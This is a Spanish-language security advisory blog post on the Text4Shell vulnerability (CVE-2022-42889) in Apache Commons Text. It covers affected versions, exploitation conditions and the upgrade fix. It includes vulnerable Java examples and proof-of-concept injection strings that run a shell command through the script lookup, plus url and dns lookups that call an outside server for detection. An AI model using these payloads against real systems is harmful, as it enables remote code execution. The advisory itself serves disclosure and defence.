Cabecera blog ciberseguridad

CVE-2022-42889: Text4Shell, Vulnerabilidad critica en Apache Commons Text

La CVE-2022-42889 ya ha sido bautizada como Text4Shell

Al igual que ocurrió en diciembre del año pasado con Log4Shell, aquella vulnerabilidad que afectaba a multitud de productos Java que hacían uso de la librería Log4J, ha surgido una nueva alerta por la vulnerabilidad que ya es apodada como Text4Shell. Esta vulnerabilidad CVE-2022-42889 afecta también a productos Java que hacen uso de una funcionalidad concreta de la librería Apache Commons Text, y podría llegar a permitir a un atacante remoto ejecutar código arbitrario en un servidor.

La biblioteca Apache Commons Text es una librería alternativa a las funcionalidades nativas del JDK de Java para el procesamiento de cadenas de texto centrada en algoritmos concretos para la gestión de este tipo de datos. Sus métodos disponibles permiten hacer uso de interpolación mediante prefijos, variables y marcas de plantilla.

A pesar de la criticidad de la vulnerabilidad CVE-2022-42889 cabe destacar que la utilización en proyectos del componente vulnerable de la librería Apache Commons Text es poco usual en el procesamiento de entradas de datos no confiables controladas por un usuario. Esta situación da lugar a que la probabilidad de explotación de esta vulnerabilidad sea bastante reducida en comparación con Log4Shell.

El fallo fue identificado y notificado al equipo de seguridad de Apache Commons el día 03/09/2022 por Álvaro Muñoz y fue corregido en la versión 1.10.0 publicada el día 24/09/2022 sin haberse documentando la corrección de dicho CVE o los cambios relativos a este problema de seguridad. No fue hasta el día 13 de octubre cuando se notificó de esta situación en la lista de desarrolladores de Apache.

El commit en que se soluciona esta situación se referencia a continuación:

https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea

La vulnerabilidad CVE-2022-42889 es similar a CVE-2022-33980, que permitía también la interpolación de algunas cadenas de texto en la librería Apache Commons Configuration:

https://lists.apache.org/thread/tdf5n7j80lfxdhs2764vn0xmpfodm87s

CVE-2022-42889: Características

A continuación, se detallan las características principales de esta vulnerabilidad CVE-2022-42889.

  • Identificador CVE: CVE-2022-42889
  • Fecha de publicación: 13/10/2022
  • Software Afectado: Apache Commons Text
  • CVSS Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
  • Versiones afectadas:
    • 1.5 – 1.9
  • Requisitos de explotación:
    • La aplicación acepta entradas controladas por los usuarios que posteriormente son procesadas por alguno de los siguientes métodos del componente afectado:
      • StringLookupFactory.INSTANCE.interpolatorStringLookup().lookup()
      • StringSubstitutor.createInterpolator().replace()
    • Versiones de Java iguales o posteriores a Java 15 no serían susceptibles a ejecución remota de código, ya que el motor Nashorn está desactivado y el prefijo “script” no estaría disponible. No obstante, aún serían viables otros ataques a través de los prefijos “url” y “dns”.

Mitigación de TextShell

La solución principal consiste en actualizar urgentemente el componente Apache Commons Text a las versiones disponibles que corrigen esta vulnerabilidad. Concretamente, se debe actualizar a una versión 1.10.0 o posterior de Apache Commons Text.

En esta actualización, se ha optado por deshabilitar por defecto aquellas sustituciones problemáticas. En el fichero changelog de la librería se incluye el siguiente cambio:

Make default string lookups configurable vía system property. Remove dns, url, and script lookups from defaults. If these lookups are required for use in StringSubstitutor.createInterpolator(), they must be enabled vía system property. See StringLookupFactory for details.

Desde Apache se ha publicado un comunicado con la información oficial y una referencia a la actualización en la que se corrige el problema.

Esta vulnerabilidad afecta a productos Java que hacen uso de una funcionalidad concreta de Apache Commons Text

Ejemplos de código vulnerable a CVE-2022-42889

A continuación, se incluyen dos ejemplos de código fuente que muestran la posibilidad de ejecución de código arbitrario haciendo uso de una versión afectada del componente Apache Commons Text.

Ejemplo 1

String poc1 = «${script:javascript:java.lang.Runtime.getRuntime().exec(\»touch /tmp/tarlogic\»);}»;

String rce1 = StringSubstitutor.createInterpolator().replace(poc1);

Ejemplo 2

String poc2 = «script:javascript:java.lang.Runtime.getRuntime().exec(\»touch /tmp/tarlogic\»)»;

String rce2 = StringLookupFactory.INSTANCE.interpolatorStringLookup().lookup(poc2);

Detección de la vulnerabilidad Text4Shell CVE-2022-42889 – Exploit

Por un lado, como se puede extraer de los ejemplos anteriores de código vulnerable, la ejecución remota de código podría ser explotada con payloads como los mostrados a continuación, los cuales hacen uso del prefijo script:

• ${script:javascript:java.lang.Runtime.getRuntime().exec(«touch /tmp/tarlogic»);}

• script:javascript:java.lang.Runtime.getRuntime().exec(«touch /tmp/tarlogic»)

Por otro lado, la detección remota de la vulnerabilidad podría también llevarse a cabo haciendo uso de los prefijos url y dns, comprobando que un servidor externo recibe una interacción desde el servidor que aloja la aplicación afectada. Ya que el prefijo dns se introdujo a partir de la versión 1.8 de Apache Commons Text, la detección mediante el prefijo url (presente desde la versión 1.5) ofrecerá mejores resultados.

• ${url:UTF-8:https://server.com}

• ${dns:address|server.com}

Como parte de su servicio de gestión de vulnerabilidades emergentes, Tarlogic Security monitoriza de forma proactiva el perímetro de sus clientes para informar, detectar y notificar urgentemente la presencia de esta vulnerabilidad, así como otras amenazas críticas que podrían causar un grave impacto sobre la seguridad de sus activos.

Referencias de la vulnerabilidad CVE-2022-42889 en Apache Commons Text

• https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
• https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/
• https://commons.apache.org/proper/commons-text/userguide.html
• https://nvd.nist.gov/vuln/detail/CVE-2022-42889
• https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om